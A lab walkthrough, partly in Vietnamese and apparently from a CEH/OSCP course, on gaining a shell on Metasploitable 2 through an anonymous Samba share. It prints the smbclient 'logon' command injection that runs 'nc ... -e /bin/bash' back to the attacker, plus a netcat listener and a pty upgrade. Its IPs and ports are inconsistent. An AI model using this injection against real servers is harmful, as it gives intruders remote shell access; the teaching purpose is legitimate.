This post is about exploitation smb port 445 running on remote Linux system, our target is take remote access via unprotected samba server without using any exploitation tool or framework
Các bài liên quan : NetCat, Leo Thang Đặc Quyền Trên Linux …
Tóm tắt các bước và bài hướng dẫn thực hành với Metasploit cho học viên CEH v11 và No_Metasploit cho lớp CrackOSCP
Hack Samba trên Metasploitable 2
CEHVIETNAM @ https://www.cehvietnam.com
1 – recon
2 – scan with nmap
thấy port 139/445 dịc vụ samba 3.x – 4.x
3 – tìm hiểu trên google về khả năng exploit
searchsploit samba command
4 – thử khai thác với metasploit theo hướng ceh v11
5 – khai thác thủ công theo hướng crack oscp
quét thêm với enum4linux
sử dụng smbclient để tìm xem có khả năng anonymous logon hay không
smbclient -L 192.168.1.131
thấy thư mục tmp ccho anon login, rất tiềm năng
mở 2 terminal
1 / trên kali lắng nghe qua port 4444
2 // #smbclient //192.168.75.131/tmp
help để xem lệnh , có lệnh logon, thử tạo reverse với lệnh này dùng nc
logon “/=nc ‘192.168.75.130’ 4444 -e /bin/bash
“
nâng cấp shell
python -c “import pty;pty.spawn(‘/bin/bash’);”
Hãy chạy lab với Kali vs Metasploitabe 2
Step 1. Scan target machine and check for SMB open port, in my case target ip is 192.168.1.134
Target m/c → 192.168.174.134
Attacker m/c → 192.168.75.129 (kali linux)
kindly note that all task has bene performed inside attacker m/c 192.168.1.129

Use SMB client and check for anonymous access
smbclient -L 192.168.1.134
{password is othing just hit enter}

since we know that “tmp” directory is present and there anonymous access over system let
let’s open netcat for accepting reverse connection in terminal -1
nc -lvp 7777
In terminal 2 Let take access to tmp directory directly on samba server using
smbclient //192.168.1.134/tmp

type help command in terminal 2

Since logon command is there we can make reverse connection using the same
logon “/=`nc ‘attack box ip’ 4444 -e /bin/bash`”

in terminal 1 you will get reverse shell

Type following command to take terminal view from shell in terminal 1
python -c “import pty;pty.spawn(‘/bin/bash’);”
